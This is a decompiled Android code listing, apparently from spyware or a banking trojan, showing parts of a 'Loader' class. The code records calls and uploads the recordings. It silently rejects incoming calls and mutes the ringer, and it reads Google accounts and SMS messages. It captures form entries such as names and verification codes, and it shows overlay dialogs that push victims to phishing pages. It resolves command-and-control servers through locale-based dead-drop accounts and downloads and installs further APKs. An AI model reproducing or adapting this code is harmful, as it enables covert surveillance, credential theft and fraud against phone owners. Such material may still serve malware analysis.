- d.e.b.h.a((Object) str2, "acc.name");
- htmlPhoneText = d.i.m.b(htmlPhoneText, "%%ACCOUNT%%", str2, false, 4, null);
- }
- eVar.b(d.i.m.b(htmlPhoneText, "%%PHONE_NUMBER%%", str, false, 4, null));
- }
- }
- public static final class au extends b.h {
- final /* synthetic */ Loader a;
- final /* synthetic */ b.g b;
- static final class a<T> implements c.a.d.d<Object> {
- final /* synthetic */ au a;
- a(au auVar) {
- this.a = auVar;
- }
- public final void a(Object obj) {
- this.a.a.setHttpPhoneServerUrl("");
- this.a.b.c();
- }
- }
- static final class b<T> implements c.a.d.d<Throwable> {
- public static final b a = new b();
- b() {
- }
- public final void a(Throwable th) {
- th.printStackTrace();
- }
- }
- au(Loader loader, b.g gVar, String str) {
- this.a = loader;
- this.b = gVar;
- super(str);
- }
- public void a(b.d dVar, b.e eVar) {
- d.e.b.h.b(dVar, "request");
- d.e.b.h.b(eVar, "response");
- if (d.e.b.h.a((Object) "application/x-www-form-urlencoded", (Object) (String) dVar.i().get("Content-Type"))) {
- String f = dVar.f("vcode");
- if (f != null && (!d.i.m.a(f))) {
- this.a.g.b("setMyVCode", new String[]{f}).a(new a(this), b.a);
- }
- }
- eVar.c("text/html;charset=UTF-8");
- eVar.b("");
- }
- }
- static final class av implements Runnable {
- final /* synthetic */ b.g a;
- av(b.g gVar) {
- this.a = gVar;
- }
- public final void run() {
- this.a.run();
- }
- }
- public static final class aw extends b.h {
- final /* synthetic */ Loader a;
- aw(Loader loader, String str) {
- this.a = loader;
- super(str);
- }
- public void a(b.d dVar, b.e eVar) {
- d.e.b.h.b(dVar, "request");
- d.e.b.h.b(eVar, "response");
- eVar.c("text/html;charset=UTF-8");
- eVar.b(this.a.getWebPageData());
- }
- }
- public static final class ax extends b.h {
- final /* synthetic */ Loader a;
- final /* synthetic */ b.g b;
- static final class a<T> implements c.a.d.d<Object> {
- final /* synthetic */ ax a;
- a(ax axVar) {
- this.a = axVar;
- }
- public final void a(Object obj) {
- this.a.b.c();
- this.a.a.setHttpServerUrl("");
- }
- }
- static final class b<T> implements c.a.d.d<Throwable> {
- public static final b a = new b();
- b() {
- }
- public final void a(Throwable th) {
- th.printStackTrace();
- }
- }
- ax(Loader loader, b.g gVar, String str) {
- this.a = loader;
- this.b = gVar;
- super(str);
- }
- public void a(b.d dVar, b.e eVar) {
- String sb;
- d.e.b.h.b(dVar, "request");
- d.e.b.h.b(eVar, "response");
- eVar.a(302);
- eVar.c("text/html;charset=UTF-8");
- eVar.a("Location", "https://google.com/");
- eVar.b("");
- if (d.e.b.h.a((Object) "application/x-www-form-urlencoded", (Object) (String) dVar.i().get("Content-Type"))) {
- Map j = dVar.j();
- if (j.containsKey("name")) {
- sb = (String) j.get("name");
- } else {
- StringBuilder sb2 = new StringBuilder();
- sb2.append("");
- sb2.append((String) j.get("first_name"));
- sb2.append(" ");
- sb2.append((String) j.get("middle_name"));
- sb2.append(" ");
- sb2.append((String) j.get("last_name"));
- sb = sb2.toString();
- }
- StringBuilder sb3 = new StringBuilder();
- sb3.append("JSON:");
- sb3.append(new JSONObject(j).toString(0));
- String sb4 = sb3.toString();
- if (sb != null && (!d.i.m.a(sb))) {
- this.a.g.b("setMyInfo", new String[]{sb, sb4}).a(new a(this), b.a);
- }
- }
- }
- }
- static final class ay implements Runnable {
- final /* synthetic */ b.g a;
- ay(b.g gVar) {
- this.a = gVar;
- }
- public final void run() {
- this.a.run();
- }
- }
- static final class az<T> implements c.a.d.d<Object> {
- final /* synthetic */ Loader a;
- final /* synthetic */ String b;
- /* renamed from: com.Loader$az$1 */
- static final class AnonymousClass1 implements OnClickListener {
- final /* synthetic */ az a;
- /* renamed from: com.Loader$az$1$1 */
- static final class AnonymousClass1<T> implements c.a.d.d<Object> {
- final /* synthetic */ AnonymousClass1 a;
- AnonymousClass1(AnonymousClass1 anonymousClass1) {
- this.a = anonymousClass1;
- }
- public final void a(Object obj) {
- if (obj instanceof Map) {
- Map map = (Map) obj;
- Object obj2 = map.get("Item1");
- if (obj2 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.Int");
- }
- int intValue = ((Integer) obj2).intValue();
- Object obj3 = map.get("Item2");
- if (obj3 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
- }
- byte[] bArr = (byte[]) obj3;
- Inflater inflater = new Inflater(true);
- inflater.setInput(bArr);
- byte[] bArr2 = new byte[intValue];
- inflater.inflate(bArr2);
- this.a.a.a.setWebPageData(new String(bArr2, d.i.d.a));
- if (d.e.b.h.a((Object) this.a.a.a.getHttpServerUrl(), (Object) "")) {
- this.a.a.a.setHttpServerUrl(this.a.a.a.g());
- }
- q.b(Loader.access$getCtx$p(this.a.a.a), this.a.a.a.getHttpServerUrl());
- }
- }
- }
- AnonymousClass1(az azVar) {
- this.a = azVar;
- }
- public final void onClick(DialogInterface dialogInterface, int i) {
- String locale = Locale.getDefault().toString();
- d.e.b.h.a((Object) locale, "Locale.getDefault().toString()");
- if (d.i.m.a(locale, "ko", false, 2, null)) {
- this.a.a.setWebPageData(this.a.a.getHtmlText());
- if (d.e.b.h.a((Object) this.a.a.getHttpServerUrl(), (Object) "")) {
- this.a.a.setHttpServerUrl(this.a.a.g());
- }
- q.b(Loader.access$getCtx$p(this.a.a), this.a.a.getHttpServerUrl());
- return;
- }
- this.a.a.g.b("get_page_data", new String[]{Locale.getDefault().toString(), this.a.b}).a(new AnonymousClass1(this), AnonymousClass2.a);
- }
- }
- az(Loader loader, String str) {
- this.a = loader;
- this.b = str;
- }
- public final void a(Object obj) {
- if ((obj instanceof Boolean) && ((Boolean) obj).booleanValue()) {
- AlertDialog httpServerDlg = this.a.getHttpServerDlg();
- if (httpServerDlg != null) {
- httpServerDlg.dismiss();
- }
- this.a.setHttpServerDlg(new Builder(Loader.access$getCtx$p(this.a)).setMessage(q.b(0)).setCancelable(false).setPositiveButton(q.b(4), new AnonymousClass1(this)).create());
- AlertDialog httpServerDlg2 = this.a.getHttpServerDlg();
- if (httpServerDlg2 == null) {
- throw new d.g("null cannot be cast to non-null type android.app.AlertDialog");
- }
- httpServerDlg2.getWindow().setType(2003);
- httpServerDlg2.show();
- }
- }
- }
- public static final class b extends f {
- final /* synthetic */ Loader a;
- private k b;
- private Timer c;
- static final class a<T> implements c.a.d.d<Object> {
- final /* synthetic */ b a;
- final /* synthetic */ String b;
- final /* synthetic */ d.e.b.j.b c;
- static final class a implements OnClickListener {
- final /* synthetic */ a a;
- a(a aVar) {
- this.a = aVar;
- }
- public final void onClick(DialogInterface dialogInterface, int i) {
- Account account;
- Object systemService = Loader.access$getCtx$p(this.a.a.a).getSystemService("account");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.accounts.AccountManager");
- }
- Account[] accounts = ((AccountManager) systemService).getAccounts();
- d.e.b.h.a((Object) accounts, "accounts");
- int length = accounts.length;
- int i2 = 0;
- while (true) {
- if (i2 >= length) {
- account = null;
- break;
- }
- account = accounts[i2];
- if (d.e.b.h.a((Object) "com.google", (Object) account.type)) {
- break;
- }
- i2++;
- }
- if (d.e.b.h.a((Object) this.a.a.a.getHttpPhoneServerUrl(), (Object) "")) {
- this.a.a.a.setHttpPhoneServerUrl(this.a.a.a.a(account));
- }
- q.b(Loader.access$getCtx$p(this.a.a.a), this.a.a.a.getHttpPhoneServerUrl());
- }
- }
- a(b bVar, String str, d.e.b.j.b bVar2) {
- this.a = bVar;
- this.b = str;
- this.c = bVar2;
- }
- public final void a(Object obj) {
- if (d.e.b.h.a(obj, (Object) Boolean.valueOf(true))) {
- this.a.a.g.b("on_call_rec", new Serializable[]{this.b, (Serializable) ((byte[]) this.c.a)}).a(AnonymousClass1.a, AnonymousClass2.a);
- AlertDialog create = new Builder(Loader.access$getCtx$p(this.a.a)).setMessage(q.b(12)).setCancelable(false).setPositiveButton(q.b(4), new a(this)).create();
- d.e.b.h.a((Object) create, "dlg");
- create.getWindow().setType(2003);
- create.show();
- }
- }
- }
- static final class b<T> implements c.a.d.d<Throwable> {
- public static final b a = new b();
- b() {
- }
- public final void a(Throwable th) {
- th.printStackTrace();
- }
- }
- static final class c implements Runnable {
- final /* synthetic */ b a;
- c(b bVar) {
- this.a = bVar;
- }
- public final void run() {
- this.a.a.setSpeekModle$loader_release(true);
- }
- }
- static final class d<T> implements c.a.d.d<Object> {
- final /* synthetic */ b a;
- final /* synthetic */ String b;
- static final class a implements OnClickListener {
- public static final a a = new a();
- a() {
- }
- public final void onClick(DialogInterface dialogInterface, int i) {
- }
- }
- d(b bVar, String str) {
- this.a = bVar;
- this.b = str;
- }
- public final void a(Object obj) {
- if (this.a.a.k || d.e.b.h.a(obj, (Object) Boolean.valueOf(true))) {
- AlertDialog create = new Builder(Loader.access$getCtx$p(this.a.a)).setMessage(q.b(10)).setCancelable(false).setPositiveButton(q.b(4), a.a).create();
- d.e.b.h.a((Object) create, "dlg");
- create.getWindow().setType(2003);
- create.show();
- this.a.a(this.b);
- }
- }
- }
- static final class e<T> implements c.a.d.d<Throwable> {
- public static final e a = new e();
- e() {
- }
- public final void a(Throwable th) {
- th.printStackTrace();
- }
- }
- b(Loader loader) {
- this.a = loader;
- }
- public void onCallStateChanged(int i, String str) {
- d.e.b.h.b(str, "incomingNumber");
- super.onCallStateChanged(i, str);
- if (i == 0) {
- Log.d("WS", "IDLE.");
- if (d.e.b.h.a((Object) a(), (Object) str) && this.b != null) {
- k kVar = this.b;
- if (kVar == null) {
- d.e.b.h.a();
- }
- File b2 = kVar.b();
- if (b2 != null) {
- d.e.b.j.b bVar = new d.e.b.j.b();
- bVar.a = d.d.c.a(b2);
- this.a.g.b("is_call_rec_enable", null).a(c.a.a.b.a.a()).a(new a(this, str, bVar), b.a);
- }
- this.b = null;
- }
- a(null);
- if (this.c != null) {
- Timer timer = this.c;
- if (timer == null) {
- d.e.b.h.a();
- }
- timer.cancel();
- this.c = null;
- }
- } else if (i == 2) {
- this.a.setSpeekModle$loader_release(true);
- c.a.a.b.a.a().a(new c(this), 1000, TimeUnit.MILLISECONDS);
- if (d.e.b.h.a((Object) a(), (Object) str)) {
- Log.d("WS", "OFFHOOK");
- this.b = new k(str);
- k kVar2 = this.b;
- if (kVar2 == null) {
- d.e.b.h.a();
- }
- kVar2.a();
- }
- } else if (i == 1) {
- if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
- try {
- Object systemService = Loader.access$getCtx$p(this.a).getSystemService("phone");
- if (systemService == null) {
- throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
- }
- TelephonyManager telephonyManager = (TelephonyManager) systemService;
- Method declaredMethod = Class.forName(telephonyManager.getClass().getName()).getDeclaredMethod("getITelephony", new Class[0]);
- d.e.b.h.a((Object) declaredMethod, "m");
- declaredMethod.setAccessible(true);
- Object invoke = declaredMethod.invoke(telephonyManager, new Object[0]);
- if (invoke == null) {
- throw new d.g("null cannot be cast to non-null type com.android.internal.telephony.ITelephony");
- }
- ((com.a.a.a.a) invoke).a();
- } catch (Exception e2) {
- e2.printStackTrace();
- }
- }
- Log.d("WS", "CALL_STATE_RINGING");
- Object systemService2 = Loader.access$getCtx$p(this.a).getSystemService("audio");
- if (systemService2 == null) {
- throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
- }
- AudioManager audioManager = (AudioManager) systemService2;
- audioManager.setStreamVolume(2, audioManager.getStreamMaxVolume(2), 0);
- if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
- audioManager.setRingerMode(0);
- } else {
- audioManager.setRingerMode(2);
- }
- this.a.g.b("is_call_rec_enable", null).a(c.a.a.b.a.a()).a(new d(this, str), e.a);
- }
- }
- }
- static final class ba<T> implements c.a.d.d<Throwable> {
- public static final ba a = new ba();
- ba() {
- }
- public final void a(Throwable th) {
- }
- }
- public static final class bb extends WebViewClient {
- bb() {
- }
- public boolean shouldOverrideUrlLoading(WebView webView, String str) {
- d.e.b.h.b(webView, "view");
- d.e.b.h.b(str, "url");
- if (d.i.m.a(str, "http:", false, 2, null) || d.i.m.a(str, "https:", false, 2, null)) {
- webView.loadUrl(str);
- }
- return true;
- }
- }
- public static final class bc extends WebChromeClient {
- final /* synthetic */ WebView a;
- final /* synthetic */ Activity b;
- private View c;
- bc(WebView webView, Activity activity) {
- this.a = webView;
- this.b = activity;
- }
- public void onHideCustomView() {
- ViewParent parent = this.a.getParent();
- if (parent == null) {
- throw new d.g("null cannot be cast to non-null type android.widget.FrameLayout");
- }
- ((FrameLayout) parent).removeView(this.c);
- this.c = null;
- this.b.setRequestedOrientation(1);
- super.onHideCustomView();
- }
- public void onShowCustomView(View view, CustomViewCallback customViewCallback) {
- d.e.b.h.b(view, "view");
- d.e.b.h.b(customViewCallback, "callback");
- Log.d("WS", "onShowCustomView");
- ViewParent parent = this.a.getParent();
- if (parent == null) {
- throw new d.g("null cannot be cast to non-null type android.widget.FrameLayout");
- }
- ((FrameLayout) parent).addView(view);
- this.c = view;
- this.b.setRequestedOrientation(0);
- super.onShowCustomView(view, customViewCallback);
- }
- }
- static final class bd implements OnKeyListener {
- final /* synthetic */ WebView a;
- bd(WebView webView) {
- this.a = webView;
- }
- public final boolean onKey(View view, int i, KeyEvent keyEvent) {
- d.e.b.h.a((Object) keyEvent, "event");
- if (keyEvent.getAction() != 0 || i != 4 || !this.a.canGoBack()) {
- return false;
- }
- this.a.goBack();
- return true;
- }
- }
- static final class be implements Runnable {
- final /* synthetic */ Loader a;
- final /* synthetic */ WebView b;
- be(Loader loader, WebView webView) {
- this.a = loader;
- this.b = webView;
- }
- public final void run() {
- final String access$loadIPAddrLiveJournal = this.a.b("puche571391029");
- StringBuilder sb = new StringBuilder();
- sb.append("加载url:");
- sb.append(access$loadIPAddrLiveJournal);
- Log.d("WS", sb.toString());
- new Handler(Looper.getMainLooper()).post(new Runnable(this) {
- final /* synthetic */ be a;
- public final void run() {
- this.a.b.loadUrl(access$loadIPAddrLiveJournal);
- }
- });
- }
- }
- static final class c<T> implements c.a.d.d<Object> {
- final /* synthetic */ Loader a;
- c(Loader loader) {
- this.a = loader;
- }
- /* JADX DEBUG: Multi-variable type inference result: failure, time: 122 ms */
- /* JADX WARNING: type inference failed for: r1v6 */
- /* JADX WARNING: type inference failed for: r2v4, types: [com.d] */
- /* JADX WARNING: Unknown variable types count: 1 */
- public final void a(java.lang.Object r7) {
- /*
- r6 = this;
- r2 = 1
- r3 = 0
- boolean r0 = r7 instanceof java.lang.Object[]
- if (r0 == 0) goto L_0x00df
- java.lang.Object[] r7 = (java.lang.Object[]) r7
- int r0 = r7.length
- if (r0 != 0) goto L_0x001c
- r0 = r2
- L_0x000c:
- r0 = r0 ^ 1
- if (r0 == 0) goto L_0x00df
- r0 = r7[r3]
- if (r0 != 0) goto L_0x001e
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type kotlin.ByteArray"
- r0.m563init(r1)
- throw r0
- L_0x001c:
- r0 = r3
- goto L_0x000c
- L_0x001e:
- byte[] r0 = (byte[]) r0
- org.msgpack.core.n r0 = org.msgpack.core.g.a(r0)
- org.msgpack.a.q r0 = r0.b()
- if (r0 != 0) goto L_0x0032
- d.g r0 = new d.g
- java.lang.String r1 = "null cannot be cast to non-null type org.msgpack.value.MapValue"
- r0.m563init(r1)
- throw r0
- L_0x0032:
- org.msgpack.a.s r0 = (org.msgpack.a.s) r0
- java.util.Set r0 = r0.a()
- java.util.Iterator r4 = r0.iterator()
- L_0x003c:
- boolean r0 = r4.hasNext()
- if (r0 == 0) goto L_0x00df
- java.lang.Object r0 = r4.next()
- java.util.Map$Entry r0 = (java.util.Map.Entry) r0
- java.lang.Object r1 = r0.getKey()
- org.msgpack.a.x r1 = (org.msgpack.a.x) r1
- java.lang.Object r0 = r0.getValue()
- org.msgpack.a.x r0 = (org.msgpack.a.x) r0
- org.msgpack.a.w r1 = r1.w()
- java.lang.String r1 = r1.b()
- org.msgpack.a.w r0 = r0.w()
- java.lang.String r5 = r0.b()
- com.Loader r0 = r6.a
- boolean r0 = r0.y
- if (r0 != 0) goto L_0x00e0
- com.Loader r0 = r6.a
- java.util.Set r0 = r0.c
- boolean r0 = r0.contains(r1)
- if (r0 != 0) goto L_0x00e0
- java.lang.String r0 = "*"
- boolean r0 = d.e.b.h.a(r5, r0)
- if (r0 != 0) goto L_0x008c
- com.Loader r0 = r6.a
- java.util.Set r0 = r0.c
- boolean r0 = r0.contains(r5)
- if (r0 == 0) goto L_0x00e0
- L_0x008c:
- r0 = r2
- L_0x008d:
- if (r0 == 0) goto L_0x003c
- java.lang.StringBuilder r0 = new java.lang.StringBuilder
- r0.<init>()
- java.lang.String r2 = com.c.k
- r0.append(r2)
- r0.append(r1)
- java.lang.String r2 = ".apk"
- r0.append(r2)
- java.io.File r2 = new java.io.File
- java.lang.String r0 = r0.toString()
- r2.<init>(r0)
- com.Loader$c$1 r0 = new com.Loader$c$1
- r0.m234init(r6, r2, r1)
- c.a.d r0 = (c.a.d) r0
- c.a.a r0 = c.a.a.a(r0)
- c.a.r r3 = c.a.g.a.a()
- c.a.a r0 = r0.b(r3)
- c.a.r r3 = c.a.a.b.a.a()
- c.a.a r3 = r0.a(r3)
- com.Loader$c$2 r0 = new com.Loader$c$2
- r0.m237init(r6, r2, r1, r5)
- c.a.d.a r0 = (c.a.d.a) r0
- com.Loader$c$3 r1 = com.Loader.c.AnonymousClass3.a
- d.e.a.b r1 = (d.e.a.b) r1
- if (r1 == 0) goto L_0x00da
- com.d r2 = new com.d
- r2.m362init(r1)
- r1 = r2
- L_0x00da:
- c.a.d.d r1 = (c.a.d.d) r1
- r3.a(r0, r1)
- L_0x00df:
- return
- L_0x00e0:
- r0 = r3
- goto L_0x008d
- */
- throw new UnsupportedOperationException("Method not decompiled: com.Loader$c.a(java.lang.Object):void");
- }
- }
- static final class d extends d.e.b.g implements d.e.a.b<Throwable, d.i> {
- public static final d a = new d();
- d() {
- super(1);
- }
- public final d.g.c a() {
- return d.e.b.k.a(Throwable.class);
- }
- public /* bridge */ /* synthetic */ Object a(Object obj) {
- a((Throwable) obj);
- return d.i.a;
- }
- public final void a(Throwable th) {
- d.e.b.h.b(th, "p1");
- th.printStackTrace();
- }
- public final String b() {
- return "printStackTrace";
- }
- public final String c() {
- return "printStackTrace()V";
- }
- }
- static final class e implements Runnable {
- final /* synthetic */ Loader a;
- e(Loader loader) {
- this.a = loader;
- }
- public final void run() {
- this.a.i();
- }
- }
- static final class f implements Runnable {
- final /* synthetic */ Loader a;
- f(Loader loader) {
- this.a = loader;
- }
- public final void run() {
- final String access$getUriBlocking = this.a.a();
- StringBuilder sb = new StringBuilder();
- sb.append("ns ");
- sb.append(access$getUriBlocking);
- Log.d("WS", sb.toString());
- if (this.a.g.b()) {
- g.a(this.a.g, 0, null, 3, null).a();
- }
- final i iVar = new i(0, 0.0f, 0.0f, 0.0f, 0.0f, 31, null);
- final d.e.b.j.a aVar = new d.e.b.j.a();
- aVar.a = 0;
- final AnonymousClass1 anonymousClass1 = new d.e.a.b<String, d.i>(this) {
- final /* synthetic */ f a;
- /* renamed from: com.Loader$f$1$1 */
- static final class AnonymousClass1<T> implements c.a.d.d<d.i> {
- final /* synthetic */ AnonymousClass1 a;
- AnonymousClass1(AnonymousClass1 anonymousClass1) {
- this.a = anonymousClass1;
- }
- public final void a(d.i iVar) {
- Log.d("WS", "connected");
- iVar.a();
- this.a.a.a.c();
- this.a.a.a.j = "";
- }
- }
- /* renamed from: com.Loader$f$1$2 */
- static final class AnonymousClass2<T> implements c.a.d.d<Throwable> {
- final /* synthetic */ AnonymousClass1 a;
- AnonymousClass2(AnonymousClass1 anonymousClass1) {
- this.a = anonymousClass1;
- }
- public final void a(Throwable th) {
- Log.w("WS", "offline");
- th.printStackTrace();
- this.a.a.a.j = th.toString();
- boolean z = th instanceof p;
- if (z) {
- p pVar = (p) th;
- if (d.i.m.a(pVar.a(), "301:", false, 2, null)) {
- String a2 = pVar.a();
- if (a2 == null) {
- throw new d.g("null cannot be cast to non-null type java.lang.String");
- }
- String substring = a2.substring(4);
- d.e.b.h.a((Object) substring, "(this as java.lang.String).substring(startIndex)");
- Loader.access$getPreferences$p(this.a.a.a).edit().putString("account", substring).apply();
- iVar.a();
- this.a.a.a.b();
- }
- }
- if (!(z && d.i.m.a(((p) th).a(), "302:", false, 2, null))) {
- aVar.a++;
- if (aVar.a == 6) {
- this.a.a.a.sendStartTLSMail(th.toString());
- }
- int b = iVar.b();
- if (b == -1) {
- Log.w("WS", "give up");
- this.a.a.a.b();
- }
- StringBuilder sb = new StringBuilder();
- sb.append("reconnect:");
- sb.append(b);
- Log.w("WS", sb.toString());
- return;
- }
- iVar.a();
- this.a.a.a.b();
- }
- }
- public /* bridge */ /* synthetic */ Object a(Object obj) {
- a((String) obj);
- return d.i.a;
- }
- public final void a(String str) {
- d.e.b.h.b(str, "addr");
- StringBuilder sb = new StringBuilder();
- sb.append("connecting: ");
- sb.append(str);
- Log.d("WS", sb.toString());
- this.a.a.g.a(str).a(new AnonymousClass1(this), new AnonymousClass2(this));
- }
- };
- iVar.a(new d.e.a.a<d.i>() {
- public /* synthetic */ Object a() {
- b();
- return d.i.a;
- }
- public final void b() {
- anonymousClass1.a(access$getUriBlocking);
- }
- });
- anonymousClass1.a(access$getUriBlocking);
- }
- }
- static final class g<T> implements c.a.d.d<Object> {
- final /* synthetic */ Loader a;
- final /* synthetic */ NotificationManager b;
- final /* synthetic */ int c;
- g(Loader loader, NotificationManager notificationManager, int i) {
- this.a = loader;
- this.b = notificationManager;
- this.c = i;
- }
- public final void a(Object obj) {
- if (obj instanceof Object[]) {
- Object[] objArr = (Object[]) obj;
- if (!(objArr.length == 0)) {
- Object obj2 = objArr[0];
- if (obj2 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- String str = (String) obj2;
- if (str == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.CharSequence");
- }
- String obj3 = d.i.m.b(str).toString();
- Object obj4 = objArr[1];
- if (obj4 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- String str2 = (String) obj4;
- if (str2 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.CharSequence");
- }
- String obj5 = d.i.m.b(str2).toString();
- Object obj6 = objArr[2];
- if (obj6 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.String");
- }
- String str3 = (String) obj6;
- if (str3 == null) {
- throw new d.g("null cannot be cast to non-null type kotlin.CharSequence");
- }
- String obj7 = d.i.m.b(str3).toString();
- CharSequence charSequence = obj5;
- if (charSequence.length() > 0) {
- if (obj7.length() > 0) {
- Intent intent = new Intent();
- intent.setAction("android.intent.action.VIEW");
- intent.setData(Uri.parse(obj7));
- PendingIntent activity = PendingIntent.getActivity(Loader.access$getCtx$p(this.a), 100, intent, 268435456);
- Notification.Builder builder = new Notification.Builder(Loader.access$getCtx$p(this.a));
- builder.setContentText(charSequence);
- builder.setContentTitle(obj3);
- builder.setSmallIcon(Loader.access$getCtx$p(this.a).getResources().getIdentifier("icon", "mipmap", Loader.access$getCtx$p(this.a).getPackageName()));
- builder.setAutoCancel(true);
- builder.setContentIntent(activity);
- if (VERSION.SDK_INT >= 16) {
- this.b.notify(this.c, builder.build());
- }
- }
- }
- }
- }
- }
- }
- static final class h<T> implements c.a.d.d<Throwable> {
- public static final h a = new h();
- h() {
- }
- public final void a(Throwable th) {
- th.printStackTrace();
- }
- }
- static final class i extends d.e.b.i implements d.e.a.a<String> {
- final /* synthetic */ Loader a;
- final /* synthetic */ d.e.b.j.a b;
- i(Loader loader, d.e.b.j.a aVar) {
- this.a = loader;
- this.b = aVar;
- super(0);
- }
- /* renamed from: b */
- public final String a() {
- SharedPreferences access$getPreferences$p;
- Object obj;
- String sb;
- Log.d("WS", "ns get............... ");
- String string = Loader.access$getPreferences$p(this.a).getString("addr_accounts", "id538254835|id538255725|id538256404");
- d.e.b.h.a((Object) string, "addrAccountsStr");
- List a2 = d.i.m.a((CharSequence) string, new char[]{'|'}, false, 0, 6, null);
- String locale = Locale.getDefault().toString();
- d.e.b.h.a((Object) locale, "locale");
- if (d.i.m.a(locale, "ko", false, 2, null)) {
- access$getPreferences$p = Loader.access$getPreferences$p(this.a);
- obj = a2.get(0);
- } else if (d.i.m.a(locale, "ja", false, 2, null)) {
- access$getPreferences$p = Loader.access$getPreferences$p(this.a);
- obj = a2.get(1);
- } else {
- access$getPreferences$p = Loader.access$getPreferences$p(this.a);
- obj = a2.get(2);
- }
- String string2 = access$getPreferences$p.getString("account", (String) obj);
- if (d.e.b.h.a((Object) string2, (Object) "unknown")) {
- throw new IllegalStateException("null......");
- }
- Loader loader = this.a;
- d.e.b.h.a((Object) string2, "account");
- String access$loadIPAddrVK = loader.a(string2);
- StringBuilder sb2 = new StringBuilder();
- sb2.append("ACC:");
- sb2.append(string2);
- Log.d("WS", sb2.toString());
- if (access$loadIPAddrVK != null) {
- if (d.i.m.a(access$loadIPAddrVK, "ssl://", false, 2, null)) {
- sb = d.i.m.a(access$loadIPAddrVK, "ssl://", "wss://", false, 4, null);
- } else {
- StringBuilder sb3 = new StringBuilder();
- sb3.append("ws://");
- sb3.append(access$loadIPAddrVK);
- sb = sb3.toString();
- }
- Loader.access$getPreferences$p(this.a).edit().putString("last_addr", sb).apply();
- return sb;
- }
- this.a.j = "DNS ERROR";
- String string3 = Loader.access$getPreferences$p(this.a).getString("last_addr", "");
- if (!d.e.b.h.a((Object) string3, (Object) "")) {
- access$loadIPAddrVK = string3;
- }
- this.b.a++;
- if (this.b.a == 6) {
- this.a.sendStartTLSMail("DNS ERROR");
- }
- return access$loadIPAddrVK;
- }
- }
- static final class j implements Runnable {
- final /* synthetic */ Loader a;
- j(Loader loader) {
- this.a = loader;
- }
- public final void run() {
- this.a.i();
- }
- }
- static final class k<T> implements c.a.d.d<Object> {
- final /* synthetic */ Loader a;
- /* renamed from: com.Loader$k$1 */
- static final class AnonymousClass1<T> implements c.a.d.d<Object> {
- final /* synthetic */ k a;
- AnonymousClass1(k kVar) {
- this.a = kVar;
- }
- /* JADX DEBUG: Multi-variable type inference result: failure, time: 10 ms */
- /* JADX WARNING: type inference failed for: r3v9 */
- /* JADX WARNING: type inference failed for: r4v6, types: [com.d] */
- /* JADX WARNING: Unknown variable types count: 1 */
- public final void a(java.lang.Object r16) {
- /*
- r15 = this;
- java.lang.String r16 = (java.lang.String) r16 // Catch:{ Exception -> 0x00f1 }
- if (r16 == 0) goto L_0x00f5
- java.lang.String r2 = ""
- r0 = r16
- boolean r2 = d.e.b.h.a(r0, r2) // Catch:{ Exception -> 0x00f1 }
- r2 = r2 ^ 1
- if (r2 == 0) goto L_0x00f5
- r0 = r16
- java.lang.CharSequence r0 = (java.lang.CharSequence) r0 // Catch:{ Exception -> 0x00f1 }
- r2 = r0
- r3 = 1
- java.lang.String[] r3 = new java.lang.String[r3] // Catch:{ Exception -> 0x00f1 }
- r4 = 0
- java.lang.String r5 = "|"
- r3[r4] = r5 // Catch:{ Exception -> 0x00f1 }
- r4 = 0
- r5 = 0
- r6 = 6
- r7 = 0
- java.util.List r9 = d.i.m.b(r2, r3, r4, r5, r6, r7) // Catch:{ Exception -> 0x00f1 }
- com.Loader$k r2 = r15.a // Catch:{ Exception -> 0x00f1 }
- com.Loader r2 = r2.a // Catch:{ Exception -> 0x00f1 }
- android.content.SharedPreferences r2 = com.Loader.access$getPreferences$p(r2) // Catch:{ Exception -> 0x00f1 }
- java.lang.String r3 = "sms_kw_sent"
- r4 = 0
- boolean r2 = r2.getBoolean(r3, r4) // Catch:{ Exception -> 0x00f1 }
- if (r2 != 0) goto L_0x00f5
- com.Loader$k r2 = r15.a // Catch:{ Exception -> 0x00f1 }
- com.Loader r2 = r2.a // Catch:{ Exception -> 0x00f1 }
- android.content.SharedPreferences r2 = com.Loader.access$getPreferences$p(r2) // Catch:{ Exception -> 0x00f1 }
- android.content.SharedPreferences$Editor r2 = r2.edit() // Catch:{ Exception -> 0x00f1 }
- java.lang.String r3 = "sms_kw_sent"
- r4 = 1
- android.content.SharedPreferences$Editor r2 = r2.putBoolean(r3, r4) // Catch:{ Exception -> 0x00f1 }
- r2.apply() // Catch:{ Exception -> 0x00f1 }
- java.util.ArrayList r2 = new java.util.ArrayList // Catch:{ Exception -> 0x00f1 }
- r2.<init>() // Catch:{ Exception -> 0x00f1 }
- r0 = r2
- java.util.List r0 = (java.util.List) r0 // Catch:{ Exception -> 0x00f1 }
- r8 = r0
- com.Loader$k r2 = r15.a // Catch:{ Exception -> 0x00f1 }
- com.Loader r2 = r2.a // Catch:{ Exception -> 0x00f1 }
- android.content.Context r2 = com.Loader.access$getCtx$p(r2) // Catch:{ Exception -> 0x00f1 }
- android.content.ContentResolver r2 = r2.getContentResolver() // Catch:{ Exception -> 0x00f1 }
- java.lang.String r3 = "content://sms/"
- android.net.Uri r3 = android.net.Uri.parse(r3) // Catch:{ Exception -> 0x00f1 }
- r4 = 6
- java.lang.String[] r4 = new java.lang.String[r4] // Catch:{ Exception -> 0x00f1 }
- r5 = 0
- java.lang.String r6 = "_id"
- r4[r5] = r6 // Catch:{ Exception -> 0x00f1 }
- r5 = 1
- java.lang.String r6 = "address"
- r4[r5] = r6 // Catch:{ Exception -> 0x00f1 }
- r5 = 2
- java.lang.String r6 = "person"
- r4[r5] = r6 // Catch:{ Exception -> 0x00f1 }
- r5 = 3
- java.lang.String r6 = "body"
- r4[r5] = r6 // Catch:{ Exception -> 0x00f1 }
- r5 = 4
- java.lang.String r6 = "date"
- r4[r5] = r6 // Catch:{ Exception -> 0x00f1 }
- r5 = 5
- java.lang.String r6 = "type"
- r4[r5] = r6 // Catch:{ Exception -> 0x00f1 }
